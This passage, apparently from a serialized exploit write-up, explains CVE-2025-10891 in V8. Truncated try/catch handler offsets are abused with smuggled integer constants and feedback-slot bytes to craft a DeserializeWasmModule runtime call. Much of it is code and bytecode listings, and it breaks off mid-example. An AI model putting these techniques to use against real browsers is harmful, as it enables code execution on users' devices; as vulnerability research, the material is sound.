0xffffffff;\n",[138857],{"type":24,"tag":284,"props":138858,"children":138859},{"__ignoreMap":7},[138860,138883,138907,138931],{"type":24,"tag":327,"props":138861,"children":138862},{"class":329,"line":330},[138863,138867,138871,138875,138879],{"type":24,"tag":327,"props":138864,"children":138865},{"style":334},[138866],{"type":29,"value":19334},{"type":24,"tag":327,"props":138868,"children":138869},{"style":356},[138870],{"type":29,"value":96563},{"type":24,"tag":327,"props":138872,"children":138873},{"style":381},[138874],{"type":29,"value":4809},{"type":24,"tag":327,"props":138876,"children":138877},{"style":397},[138878],{"type":29,"value":522},{"type":24,"tag":327,"props":138880,"children":138881},{"style":346},[138882],{"type":29,"value":405},{"type":24,"tag":327,"props":138884,"children":138885},{"class":329,"line":367},[138886,138890,138894,138898,138903],{"type":24,"tag":327,"props":138887,"children":138888},{"style":334},[138889],{"type":29,"value":19334},{"type":24,"tag":327,"props":138891,"children":138892},{"style":356},[138893],{"type":29,"value":97437},{"type":24,"tag":327,"props":138895,"children":138896},{"style":381},[138897],{"type":29,"value":4809},{"type":24,"tag":327,"props":138899,"children":138900},{"style":397},[138901],{"type":29,"value":138902}," 0x0fff",{"type":24,"tag":327,"props":138904,"children":138905},{"style":346},[138906],{"type":29,"value":405},{"type":24,"tag":327,"props":138908,"children":138909},{"class":329,"line":408},[138910,138914,138918,138922,138927],{"type":24,"tag":327,"props":138911,"children":138912},{"style":334},[138913],{"type":29,"value":19334},{"type":24,"tag":327,"props":138915,"children":138916},{"style":356},[138917],{"type":29,"value":44158},{"type":24,"tag":327,"props":138919,"children":138920},{"style":381},[138921],{"type":29,"value":4809},{"type":24,"tag":327,"props":138923,"children":138924},{"style":397},[138925],{"type":29,"value":138926}," 0x0fffffff",{"type":24,"tag":327,"props":138928,"children":138929},{"style":346},[138930],{"type":29,"value":405},{"type":24,"tag":327,"props":138932,"children":138933},{"class":329,"line":421},[138934,138938,138943,138947,138952],{"type":24,"tag":327,"props":138935,"children":138936},{"style":334},[138937],{"type":29,"value":19334},{"type":24,"tag":327,"props":138939,"children":138940},{"style":356},[138941],{"type":29,"value":138942}," d",{"type":24,"tag":327,"props":138944,"children":138945},{"style":381},[138946],{"type":29,"value":4809},{"type":24,"tag":327,"props":138948,"children":138949},{"style":397},[138950],{"type":29,"value":138951}," 0xffffffff",{"type":24,"tag":327,"props":138953,"children":138954},{"style":346},[138955],{"type":29,"value":405},{"type":24,"tag":25,"props":138957,"children":138958},{},[138959],{"type":29,"value":138960},"compiles to",{"type":24,"tag":317,"props":138962,"children":138964},{"code":138963}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[138965],{"type":24,"tag":284,"props":138966,"children":138967},{"__ignoreMap":7},[138968],{"type":29,"value":138963},{"type":24,"tag":25,"props":138970,"children":138971},{},[138972],{"type":29,"value":138973},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":24,"tag":235,"props":138975,"children":138977},{"id":138976},"cve-2025-10891",[138978],{"type":29,"value":138830},{"type":24,"tag":25,"props":138980,"children":138981},{},[138982,138984,138990,138992,138998],{"type":29,"value":138983},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":24,"tag":284,"props":138985,"children":138987},{"className":138986},[],[138988],{"type":29,"value":138989},"[start, end) => handler",{"type":29,"value":138991}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":24,"tag":284,"props":138993,"children":138995},{"className":138994},[],[138996],{"type":29,"value":138997},"handler",{"type":29,"value":138999}," is jumped to.",{"type":24,"tag":317,"props":139001,"children":139003},{"code":139002,"language":38075,"meta":7,"className":38073,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[139004],{"type":24,"tag":284,"props":139005,"children":139006},{"__ignoreMap":7},[139007,139018,139033,139048,139071],{"type":24,"tag":327,"props":139008,"children":139009},{"class":329,"line":330},[139010,139014],{"type":24,"tag":327,"props":139011,"children":139012},{"style":425},[139013],{"type":29,"value":55051},{"type":24,"tag":327,"props":139015,"children":139016},{"style":346},[139017],{"type":29,"value":497},{"type":24,"tag":327,"props":139019,"children":139020},{"class":329,"line":367},[139021,139025,139029],{"type":24,"tag":327,"props":139022,"children":139023},{"style":425},[139024],{"type":29,"value":41914},{"type":24,"tag":327,"props":139026,"children":139027},{"style":397},[139028],{"type":29,"value":522},{"type":24,"tag":327,"props":139030,"children":139031},{"style":346},[139032],{"type":29,"value":405},{"type":24,"tag":327,"props":139034,"children":139035},{"class":329,"line":408},[139036,139040,139044],{"type":24,"tag":327,"props":139037,"children":139038},{"style":346},[139039],{"type":29,"value":53593},{"type":24,"tag":327,"props":139041,"children":139042},{"style":425},[139043],{"type":29,"value":55131},{"type":24,"tag":327,"props":139045,"children":139046},{"style":346},[139047],{"type":29,"value":497},{"type":24,"tag":327,"props":139049,"children":139050},{"class":329,"line":421},[139051,139055,139059,139063,139067],{"type":24,"tag":327,"props":139052,"children":139053},{"style":334},[139054],{"type":29,"value":15417},{"type":24,"tag":327,"props":139056,"children":139057},{"style":356},[139058],{"type":29,"value":97437},{"type":24,"tag":327,"props":139060,"children":139061},{"style":381},[139062],{"type":29,"value":4809},{"type":24,"tag":327,"props":139064,"children":139065},{"style":397},[139066],{"type":29,"value":474},{"type":24,"tag":327,"props":139068,"children":139069},{"style":346},[139070],{"type":29,"value":405},{"type":24,"tag":327,"props":139072,"children":139073},{"class":329,"line":450},[139074],{"type":24,"tag":327,"props":139075,"children":139076},{"style":346},[139077],{"type":29,"value":592},{"type":24,"tag":317,"props":139079,"children":139081},{"code":139080}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[139082],{"type":24,"tag":284,"props":139083,"children":139084},{"__ignoreMap":7},[139085],{"type":29,"value":139080},{"type":24,"tag":25,"props":139087,"children":139088},{},[139089,139091,139096,139098,139103],{"type":29,"value":139090},"However, the ",{"type":24,"tag":284,"props":139092,"children":139094},{"className":139093},[],[139095],{"type":29,"value":138997},{"type":29,"value":139097}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":24,"tag":284,"props":139099,"children":139101},{"className":139100},[],[139102],{"type":29,"value":55131},{"type":29,"value":139104}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":24,"tag":25,"props":139106,"children":139107},{},[139108,139110,139116],{"type":29,"value":139109},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":24,"tag":284,"props":139111,"children":139113},{"className":139112},[],[139114],{"type":29,"value":139115},"yield*",{"type":29,"value":139117}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":24,"tag":228,"props":139119,"children":139121},{"id":139120},"exploitation",[139122],{"type":29,"value":139123},"Exploitation",{"type":24,"tag":235,"props":139125,"children":139127},{"id":139126},"constant-smuggling",[139128],{"type":29,"value":139129},"Constant Smuggling",{"type":24,"tag":25,"props":139131,"children":139132},{},[139133,139135,139142],{"type":29,"value":139134},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":24,"tag":57,"props":139136,"children":139139},{"href":139137,"rel":139138},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[61],[139140],{"type":29,"value":139141},"technique",{"type":29,"value":139143}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":24,"tag":317,"props":139145,"children":139147},{"code":139146,"language":38075,"meta":7,"className":38073,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[139148],{"type":24,"tag":284,"props":139149,"children":139150},{"__ignoreMap":7},[139151,139179,139206,139233],{"type":24,"tag":327,"props":139152,"children":139153},{"class":329,"line":330},[139154,139158,139162,139166,139170,139175],{"type":24,"tag":327,"props":139155,"children":139156},{"style":334},[139157],{"type":29,"value":19334},{"type":24,"tag":327,"props":139159,"children":139160},{"style":356},[139161],{"type":29,"value":96563},{"type":24,"tag":327,"props":139163,"children":139164},{"style":381},[139165],{"type":29,"value":4809},{"type":24,"tag":327,"props":139167,"children":139168},{"style":381},[139169],{"type":29,"value":57976},{"type":24,"tag":327,"props":139171,"children":139172},{"style":397},[139173],{"type":29,"value":139174},"9.255963134931783e61",{"type":24,"tag":327,"props":139176,"children":139177},{"style":346},[139178],{"type":29,"value":405},{"type":24,"tag":327,"props":139180,"children":139181},{"class":329,"line":367},[139182,139186,139190,139194,139198,139202],{"type":24,"tag":327,"props":139183,"children":139184},{"style":334},[139185],{"type":29,"value":19334},{"type":24,"tag":327,"props":139187,"children":139188},{"style":356},[139189],{"type":29,"value":97437},{"type":24,"tag":327,"props":139191,"children":139192},{"style":381},[139193],{"type":29,"value":4809},{"type":24,"tag":327,"props":139195,"children":139196},{"style":381},[139197],{"type":29,"value":57976},{"type":24,"tag":327,"props":139199,"children":139200},{"style":397},[139201],{"type":29,"value":139174},{"type":24,"tag":327,"props":139203,"children":139204},{"style":346},[139205],{"type":29,"value":405},{"type":24,"tag":327,"props":139207,"children":139208},{"class":329,"line":408},[139209,139213,139217,139221,139225,139229],{"type":24,"tag":327,"props":139210,"children":139211},{"style":334},[139212],{"type":29,"value":19334},{"type":24,"tag":327,"props":139214,"children":139215},{"style":356},[139216],{"type":29,"value":44158},{"type":24,"tag":327,"props":139218,"children":139219},{"style":381},[139220],{"type":29,"value":4809},{"type":24,"tag":327,"props":139222,"children":139223},{"style":381},[139224],{"type":29,"value":57976},{"type":24,"tag":327,"props":139226,"children":139227},{"style":397},[139228],{"type":29,"value":139174},{"type":24,"tag":327,"props":139230,"children":139231},{"style":346},[139232],{"type":29,"value":405},{"type":24,"tag":327,"props":139234,"children":139235},{"class":329,"line":421},[139236,139240,139244,139248,139252,139256],{"type":24,"tag":327,"props":139237,"children":139238},{"style":334},[139239],{"type":29,"value":19334},{"type":24,"tag":327,"props":139241,"children":139242},{"style":356},[139243],{"type":29,"value":138942},{"type":24,"tag":327,"props":139245,"children":139246},{"style":381},[139247],{"type":29,"value":4809},{"type":24,"tag":327,"props":139249,"children":139250},{"style":381},[139251],{"type":29,"value":57976},{"type":24,"tag":327,"props":139253,"children":139254},{"style":397},[139255],{"type":29,"value":139174},{"type":24,"tag":327,"props":139257,"children":139258},{"style":346},[139259],{"type":29,"value":405},{"type":24,"tag":25,"props":139261,"children":139262},{},[139263],{"type":29,"value":139264},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":24,"tag":25,"props":139266,"children":139267},{},[139268],{"type":29,"value":139269},"We'll use a similar principle here, although much more limited. With",{"type":24,"tag":317,"props":139271,"children":139273},{"code":139272},"let a = 0x0693bebe;\n",[139274],{"type":24,"tag":284,"props":139275,"children":139276},{"__ignoreMap":7},[139277],{"type":29,"value":139272},{"type":24,"tag":25,"props":139279,"children":139280},{},[139281],{"type":29,"value":139282},"We will compile the bytecode:",{"type":24,"tag":317,"props":139284,"children":139286},{"code":139285},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[139287],{"type":24,"tag":284,"props":139288,"children":139289},{"__ignoreMap":7},[139290],{"type":29,"value":139285},{"type":24,"tag":25,"props":139292,"children":139293},{},[139294,139296,139302,139304,139310,139311,139317],{"type":29,"value":139295},"We can then jump to the 3rd byte (",{"type":24,"tag":284,"props":139297,"children":139299},{"className":139298},[],[139300],{"type":29,"value":139301},"0xbe",{"type":29,"value":139303},"), and gain 2 controlled bytes of execution, followed by ",{"type":24,"tag":284,"props":139305,"children":139307},{"className":139306},[],[139308],{"type":29,"value":139309},"0x93 0x02 - 0xf",{"type":29,"value":5894},{"type":24,"tag":284,"props":139312,"children":139314},{"className":139313},[],[139315],{"type":29,"value":139316},"Jump +[2-15]",{"type":29,"value":139318},") to jump into the next constant.",{"type":24,"tag":25,"props":139320,"children":139321},{},[139322,139324,139330,139332,139338,139340,139346],{"type":29,"value":139323},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":24,"tag":284,"props":139325,"children":139327},{"className":139326},[],[139328],{"type":29,"value":139329},"StarX",{"type":29,"value":139331}," instructions, registers 16-121 resulted in two bytes ",{"type":24,"tag":284,"props":139333,"children":139335},{"className":139334},[],[139336],{"type":29,"value":139337},"Star rX",{"type":29,"value":139339}," instructions, and the next batch resulted in 4 byte ",{"type":24,"tag":284,"props":139341,"children":139343},{"className":139342},[],[139344],{"type":29,"value":139345},"Star.ExtraWide rX",{"type":29,"value":139347}," instructions.",{"type":24,"tag":25,"props":139349,"children":139350},{},[139351,139353,139359],{"type":29,"value":139352},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":24,"tag":284,"props":139354,"children":139356},{"className":139355},[],[139357],{"type":29,"value":139358},"0x8931111",{"type":29,"value":1636},{"type":24,"tag":317,"props":139361,"children":139363},{"code":139362,"language":38075,"meta":7,"className":38073,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[139364],{"type":24,"tag":284,"props":139365,"children":139366},{"__ignoreMap":7},[139367,139392,139416,139440,139464,139488,139512],{"type":24,"tag":327,"props":139368,"children":139369},{"class":329,"line":330},[139370,139374,139379,139383,139388],{"type":24,"tag":327,"props":139371,"children":139372},{"style":334},[139373],{"type":29,"value":19334},{"type":24,"tag":327,"props":139375,"children":139376},{"style":356},[139377],{"type":29,"value":139378}," a206",{"type":24,"tag":327,"props":139380,"children":139381},{"style":381},[139382],{"type":29,"value":4809},{"type":24,"tag":327,"props":139384,"children":139385},{"style":397},[139386],{"type":29,"value":139387}," 0x8931111",{"type":24,"tag":327,"props":139389,"children":139390},{"style":346},[139391],{"type":29,"value":405},{"type":24,"tag":327,"props":139393,"children":139394},{"class":329,"line":367},[139395,139399,139404,139408,139412],{"type":24,"tag":327,"props":139396,"children":139397},{"style":334},[139398],{"type":29,"value":19334},{"type":24,"tag":327,"props":139400,"children":139401},{"style":356},[139402],{"type":29,"value":139403}," a207",{"type":24,"tag":327,"props":139405,"children":139406},{"style":381},[139407],{"type":29,"value":4809},{"type":24,"tag":327,"props":139409,"children":139410},{"style":397},[139411],{"type":29,"value":139387},{"type":24,"tag":327,"props":139413,"children":139414},{"style":346},[139415],{"type":29,"value":405},{"type":24,"tag":327,"props":139417,"children":139418},{"class":329,"line":408},[139419,139423,139428,139432,139436],{"type":24,"tag":327,"props":139420,"children":139421},{"style":334},[139422],{"type":29,"value":19334},{"type":24,"tag":327,"props":139424,"children":139425},{"style":356},[139426],{"type":29,"value":139427}," a208",{"type":24,"tag":327,"props":139429,"children":139430},{"style":381},[139431],{"type":29,"value":4809},{"type":24,"tag":327,"props":139433,"children":139434},{"style":397},[139435],{"type":29,"value":139387},{"type":24,"tag":327,"props":139437,"children":139438},{"style":346},[139439],{"type":29,"value":405},{"type":24,"tag":327,"props":139441,"children":139442},{"class":329,"line":421},[139443,139447,139452,139456,139460],{"type":24,"tag":327,"props":139444,"children":139445},{"style":334},[139446],{"type":29,"value":19334},{"type":24,"tag":327,"props":139448,"children":139449},{"style":356},[139450],{"type":29,"value":139451}," a209",{"type":24,"tag":327,"props":139453,"children":139454},{"style":381},[139455],{"type":29,"value":4809},{"type":24,"tag":327,"props":139457,"children":139458},{"style":397},[139459],{"type":29,"value":139387},{"type":24,"tag":327,"props":139461,"children":139462},{"style":346},[139463],{"type":29,"value":405},{"type":24,"tag":327,"props":139465,"children":139466},{"class":329,"line":450},[139467,139471,139476,139480,139484],{"type":24,"tag":327,"props":139468,"children":139469},{"style":334},[139470],{"type":29,"value":19334},{"type":24,"tag":327,"props":139472,"children":139473},{"style":356},[139474],{"type":29,"value":139475}," a210",{"type":24,"tag":327,"props":139477,"children":139478},{"style":381},[139479],{"type":29,"value":4809},{"type":24,"tag":327,"props":139481,"children":139482},{"style":397},[139483],{"type":29,"value":139387},{"type":24,"tag":327,"props":139485,"children":139486},{"style":346},[139487],{"type":29,"value":405},{"type":24,"tag":327,"props":139489,"children":139490},{"class":329,"line":481},[139491,139495,139500,139504,139508],{"type":24,"tag":327,"props":139492,"children":139493},{"style":334},[139494],{"type":29,"value":19334},{"type":24,"tag":327,"props":139496,"children":139497},{"style":356},[139498],{"type":29,"value":139499}," a211",{"type":24,"tag":327,"props":139501,"children":139502},{"style":381},[139503],{"type":29,"value":4809},{"type":24,"tag":327,"props":139505,"children":139506},{"style":397},[139507],{"type":29,"value":139387},{"type":24,"tag":327,"props":139509,"children":139510},{"style":346},[139511],{"type":29,"value":405},{"type":24,"tag":327,"props":139513,"children":139514},{"class":329,"line":500},[139515,139519,139524,139528,139532],{"type":24,"tag":327,"props":139516,"children":139517},{"style":334},[139518],{"type":29,"value":19334},{"type":24,"tag":327,"props":139520,"children":139521},{"style":356},[139522],{"type":29,"value":139523}," a212",{"type":24,"tag":327,"props":139525,"children":139526},{"style":381},[139527],{"type":29,"value":4809},{"type":24,"tag":327,"props":139529,"children":139530},{"style":397},[139531],{"type":29,"value":139387},{"type":24,"tag":327,"props":139533,"children":139534},{"style":346},[139535],{"type":29,"value":405},{"type":24,"tag":25,"props":139537,"children":139538},{},[139539],{"type":29,"value":139540},"Those instructions result in:",{"type":24,"tag":317,"props":139542,"children":139544},{"code":139543},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[139545],{"type":24,"tag":284,"props":139546,"children":139547},{"__ignoreMap":7},[139548],{"type":29,"value":139543},{"type":24,"tag":25,"props":139550,"children":139551},{},[139552,139554,139560,139562,139566],{"type":29,"value":139553},"(The offset of ",{"type":24,"tag":284,"props":139555,"children":139557},{"className":139556},[],[139558],{"type":29,"value":139559},"Jump",{"type":29,"value":139561}," instructions is added to the ",{"type":24,"tag":42,"props":139563,"children":139564},{},[139565],{"type":29,"value":77816},{"type":29,"value":139567}," of the instruction.)",{"type":24,"tag":25,"props":139569,"children":139570},{},[139571,139573,139579],{"type":29,"value":139572},"Now, 3 out of the 6 bytes in a ",{"type":24,"tag":284,"props":139574,"children":139576},{"className":139575},[],[139577],{"type":29,"value":139578},"LdaSmi.ExtraWide",{"type":29,"value":139580}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":24,"tag":235,"props":139582,"children":139584},{"id":139583},"exploit-goal",[139585],{"type":29,"value":139586},"Exploit Goal",{"type":24,"tag":25,"props":139588,"children":139589},{},[139590,139592,139598,139599,139605],{"type":29,"value":139591},"Initially we considered using ",{"type":24,"tag":284,"props":139593,"children":139595},{"className":139594},[],[139596],{"type":29,"value":139597},"Star",{"type":29,"value":2899},{"type":24,"tag":284,"props":139600,"children":139602},{"className":139601},[],[139603],{"type":29,"value":139604},"Ldar",{"type":29,"value":139606}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":24,"tag":25,"props":139608,"children":139609},{},[139610,139612,139619],{"type":29,"value":139611},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":24,"tag":57,"props":139613,"children":139616},{"href":139614,"rel":139615},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[61],[139617],{"type":29,"value":139618},"stack pivot and ROP",{"type":29,"value":139620},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":24,"tag":25,"props":139622,"children":139623},{},[139624],{"type":29,"value":139625},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":24,"tag":25,"props":139627,"children":139628},{},[139629],{"type":29,"value":139630},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":24,"tag":25,"props":139632,"children":139633},{},[139634,139636,139642,139644,139650,139652,139658],{"type":29,"value":139635},"At this point, we identified an interesting opcode: ",{"type":24,"tag":284,"props":139637,"children":139639},{"className":139638},[],[139640],{"type":29,"value":139641},"CallRuntime",{"type":29,"value":139643},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":24,"tag":284,"props":139645,"children":139647},{"className":139646},[],[139648],{"type":29,"value":139649},"--allow-natives-syntax",{"type":29,"value":139651}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":24,"tag":284,"props":139653,"children":139655},{"className":139654},[],[139656],{"type":29,"value":139657},"DeserializeWasmModule",{"type":29,"value":66},{"type":24,"tag":25,"props":139660,"children":139661},{},[139662,139664,139671,139672,139677,139678,139684,139686,139693],{"type":29,"value":139663},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":24,"tag":57,"props":139665,"children":139668},{"href":139666,"rel":139667},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[61],[139669],{"type":29,"value":139670},"JIT-compiled functions",{"type":29,"value":26042},{"type":24,"tag":284,"props":139673,"children":139675},{"className":139674},[],[139676],{"type":29,"value":139657},{"type":29,"value":2899},{"type":24,"tag":284,"props":139679,"children":139681},{"className":139680},[],[139682],{"type":29,"value":139683},"SerializeWasmModule",{"type":29,"value":139685}," themselves are only used from test functions, and indeed have been ",{"type":24,"tag":57,"props":139687,"children":139690},{"href":139688,"rel":139689},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[61],[139691],{"type":29,"value":139692},"removed",{"type":29,"value":139694}," from recent production V8 builds due to how abusable this functionality is.",{"type":24,"tag":25,"props":139696,"children":139697},{},[139698,139700,139706,139708,139714,139716,139721,139723,139729,139731,139736,139737,139742,139743,139748,139750,139756,139758,139762],{"type":29,"value":139699},"However, calling this opcode represented a significant challenge:\n",{"type":24,"tag":284,"props":139701,"children":139703},{"className":139702},[],[139704],{"type":29,"value":139705},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":139707},"\nWhere ",{"type":24,"tag":284,"props":139709,"children":139711},{"className":139710},[],[139712],{"type":29,"value":139713},"func-id",{"type":29,"value":139715}," is a 2-byte function ID, ",{"type":24,"tag":284,"props":139717,"children":139719},{"className":139718},[],[139720],{"type":29,"value":44941},{"type":29,"value":139722}," is the index of the last register passed and ",{"type":24,"tag":284,"props":139724,"children":139726},{"className":139725},[],[139727],{"type":29,"value":139728},"argc",{"type":29,"value":139730}," is the number of arguments passed (e.g. passing ",{"type":24,"tag":284,"props":139732,"children":139734},{"className":139733},[],[139735],{"type":29,"value":51099},{"type":29,"value":2744},{"type":24,"tag":284,"props":139738,"children":139740},{"className":139739},[],[139741],{"type":29,"value":51242},{"type":29,"value":1323},{"type":24,"tag":284,"props":139744,"children":139746},{"className":139745},[],[139747],{"type":29,"value":51225},{"type":29,"value":139749}," would be encoded as ",{"type":24,"tag":284,"props":139751,"children":139753},{"className":139752},[],[139754],{"type":29,"value":139755},"\u003Cr2> \u003C3>",{"type":29,"value":139757},").\nThis requires ",{"type":24,"tag":42,"props":139759,"children":139760},{},[139761],{"type":29,"value":25618},{"type":29,"value":139763}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":24,"tag":235,"props":139765,"children":139767},{"id":139766},"better-bytecode-control",[139768],{"type":29,"value":139769},"Better Bytecode Control",{"type":24,"tag":25,"props":139771,"children":139772},{},[139773,139775,139782,139784,139790],{"type":29,"value":139774},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":24,"tag":57,"props":139776,"children":139779},{"href":139777,"rel":139778},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[61],[139780],{"type":29,"value":139781},"feedback vector slot",{"type":29,"value":139783},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":24,"tag":284,"props":139785,"children":139787},{"className":139786},[],[139788],{"type":29,"value":139789},"AddSmi",{"type":29,"value":139791}," instruction, it represents the number of operations performed on the target value so far.",{"type":24,"tag":25,"props":139793,"children":139794},{},[139795],{"type":29,"value":139796},"For example, we can look at the below Ignition disassembly:",{"type":24,"tag":317,"props":139798,"children":139800},{"code":139799},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[139801],{"type":24,"tag":284,"props":139802,"children":139803},{"__ignoreMap":7},[139804],{"type":29,"value":139799},{"type":24,"tag":25,"props":139806,"children":139807},{},[139808,139810,139816],{"type":29,"value":139809},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":24,"tag":284,"props":139811,"children":139813},{"className":139812},[],[139814],{"type":29,"value":139815},"AddSmi.ExtraWide",{"type":29,"value":139817},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":24,"tag":25,"props":139819,"children":139820},{},[139821],{"type":29,"value":139822},"Eventually, we can reach a stage like this:",{"type":24,"tag":317,"props":139824,"children":139826},{"code":139825},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[139827],{"type":24,"tag":284,"props":139828,"children":139829},{"__ignoreMap":7},[139830],{"type":29,"value":139825},{"type":24,"tag":25,"props":139832,"children":139833},{},[139834],{"type":29,"value":139835},"If you skip the first two bytes, you have",{"type":24,"tag":1380,"props":139837,"children":139838},{},[139839,139870],{"type":24,"tag":179,"props":139840,"children":139841},{},[139842,139847,139849,139854,139856,139862,139864],{"type":24,"tag":284,"props":139843,"children":139845},{"className":139844},[],[139846],{"type":29,"value":139641},{"type":29,"value":139848}," (0x6c) to ",{"type":24,"tag":284,"props":139850,"children":139852},{"className":139851},[],[139853],{"type":29,"value":139657},{"type":29,"value":139855}," (0x0266) starting from register ",{"type":24,"tag":284,"props":139857,"children":139859},{"className":139858},[],[139860],{"type":29,"value":139861},"a2",{"type":29,"value":139863}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":24,"tag":284,"props":139865,"children":139867},{"className":139866},[],[139868],{"type":29,"value":139869},"DeserializeWasmModule(a2, a1)",{"type":24,"tag":179,"props":139871,"children":139872},{},[139873],{"type":29,"value":139874},"a Jump instruction",{"type":24,"tag":235,"props":139876,"children":139878},{"id":139877},"returning-back-to-js",[139879],{"type":29,"value":139880},"Returning Back to JS",{"type":24,"tag":25,"props":139882,"children":139883},{},[139884,139886,139892],{"type":29,"value":139885},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":24,"tag":284,"props":139887,"children":139889},{"className":139888},[],[139890],{"type":29,"value":139891},"yield",{"type":29,"value":139893}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":24,"tag":25,"props":139895,"children":139896},{},[139897],{"type":29,"value":139898},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":24,"tag":317,"props":139900,"children":139902},{"code":139901,"language":38075,"meta":7,"className":38073,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield 